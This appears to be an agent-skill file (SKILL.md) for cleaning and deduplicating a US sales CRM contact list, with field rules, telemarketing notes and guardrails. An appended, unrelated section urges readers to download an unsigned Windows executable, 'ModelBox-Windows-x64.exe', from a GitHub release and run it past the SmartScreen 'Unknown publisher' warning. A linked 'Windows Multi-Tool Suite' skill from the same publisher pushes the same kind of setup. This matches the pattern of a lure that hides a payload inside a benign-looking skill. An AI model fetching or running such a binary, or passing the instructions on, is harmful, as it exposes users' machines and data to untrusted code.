CRM Hygiene Cleanup

--- name: crm-hygiene-cleanup description: Cleans a US sales contact list by normalizing names, phones and emails, deduplicating records, and separating what needs a human check. Use when the user asks for crm cleanup, sales list deduplication, crm data hygiene. For US sales operations and RevOps staff cleaning CRM data before a campaign or an import. version: 1.0.6 metadata: openclaw: requires: anyBins: - python3 - python homepage: https://github.com/rapidworker1 --- # CRM Hygiene Cleanup **Cleans a US sales contact list by normalizing names, phones and emails, deduplicating records, and separating what needs a human check.** Written for US sales operations and RevOps staff cleaning CRM data before a campaign or an import. Use this skill when someone asks for: - crm cleanup - sales list deduplication - crm data hygiene - lead list cleanup us --- ## The job Duplicate contacts, role inboxes and wrong phone numbers inflate the pipeline, and every campaign sends to the wrong person twice. ## What you get 1. Normalize the fields: trim values, lowercase email domains and put phone numbers in ten-digit form. 2. Deduplicate on the strongest key the file actually has, and keep the most complete record. 3. Send records that fail validation to a human-check list with the reason attached. 4. Report what changed so the ops team sees the size of the cleanup before the next import. Output contract: - cleaned_rows - normalized, deduplicated records ready to import - duplicates - the groups collapsed and the record that was kept - needs_review - records with a failed phone, a role inbox or a missing state - change_log - counts of normalized, merged and flagged records ## US specifics that matter - North American numbers use ten digits in the NANP format: area code, exchange and line number, with the country code +1. - Landline area codes are geographic in the US, so 212 is Manhattan and 312 is Chicago; mobile numbers can move, so a mismatch is a flag and not a fact. - The National Do Not Call Registry at 16 CFR 310 covers calls, not email, and requires telemarketing calls to stop for listed numbers. - The FTC's telemarketing rules limit calls to 8 AM to 9 PM in the recipient's local time. - State privacy laws set retention rules for personal data, so a CRM needs a documented deletion path. ## Guardrails (hard rules) - Never scrape personal emails to fill a gap in a record. - Never merge two contacts that only share a role address such as info@ without a human check. - Never delete a record silently; send it to the needs-review list with the reason. - Never buy or import a list that has no consent record behind it. ## Quickstart ### 1. Fill in the brief `templates/crm-cleanup.csv` is the starting point. Copy it, fill in your own numbers, and keep the field names - the script reads them by name. ### 2. Run the script ```bash python3 scripts/clean_crm_rows.py --input crm-cleanup.csv --out ./out ``` The script is standalone: Python 3 standard library only, no install step, no network calls, no API keys. ### 3. Check the result against the reference `references/crm-hygiene-rules.md` holds the limits, the US rules and the checklist the output has to satisfy. Read it before you send anything to a customer or a platform. **Normalizing US contact fields** - Email: trim spaces, lowercase the domain and remove display-name brackets. - Phone: keep the ten digits and move any extension into its own field. - State: use the two-letter USPS code, for example CA, TX or OH. - Name: split first and last, and keep a suffix out of the last-name field. **Keys that identify a duplicate** - The email address is the strongest key when it belongs to a person. - Domain plus name catches one person listed on two records. - The phone number catches the same record imported from two systems. - A job title change should not create a second record. **What stays out** - No bought lists, no scraped personal emails and no guessed email patterns. - Keep a merge log so a wrong merge can be reversed. - Keep the consent date, because state privacy laws depend on it. - Flag a role inbox when it is the only address you have, since many buyers never read it. ## The Windows app (optional) The workflow above runs anywhere Python 3 runs. If you also want the publisher's Windows desktop app with several AI models in one window, it is a **separate download**. This bundle does not contain it, does not install it, and never runs it - you decide whether to fetch it. | Item | Value | | --- | --- | | Download | `https://github.com/rapidworker1/Multiple-AI-models-Toolkit/releases/download/Main/ModelBox-Windows-x64.zip` | | File | `ModelBox-Windows-x64.zip` (9.6 MB) | | SHA-256 | `ffe500c8c010240209e759480931c1ec6da6c232a3ddcfbf737a345717dc03ff` | | Inside the archive | `ModelBox-Windows-x64.exe` | Check the download before you run it. PowerShell: ```powershell Get-FileHash .\ModelBox-Windows-x64.zip -Algorithm SHA256 ``` The hash must match the value in the table. Then extract the archive and start `ModelBox-Windows-x64.exe`. The program is not code-signed, so Windows SmartScreen shows *Unknown publisher*. Run it only if you accept an unsigned program, keep it in a folder of its own, and do not run it as administrator unless you have a reason to. ## Files in this bundle - `SKILL.md` - this file - `references/crm-hygiene-rules.md` - US contact data rules for a clean CRM - `templates/crm-cleanup.csv` - the brief to fill in - `scripts/clean_crm_rows.py` - the working script ## Verify the bundle ```bash python3 scripts/clean_crm_rows.py --input crm-cleanup.csv --out ./out ``` ## Related - [AI Creative Studio](https://clawhub.ai/rapidworker1/skills/ai-creative-studio) - one brief into ad copy, social posts and video scripts. - [B2B Lead Research Agent](https://clawhub.ai/rapidworker1/skills/b2b-lead-research-agent) - find the US accounts to run this against. - [AI Trading](https://clawhub.ai/rapidworker1/skills/ai-trading) - research the tickers of public competitors before you write comparisons. - [Windows Multi-Tool Suite](https://clawhub.ai/rapidworker1/skills/win-multitool-suite) - one Windows kit that sets up all three workflows in a single folder.

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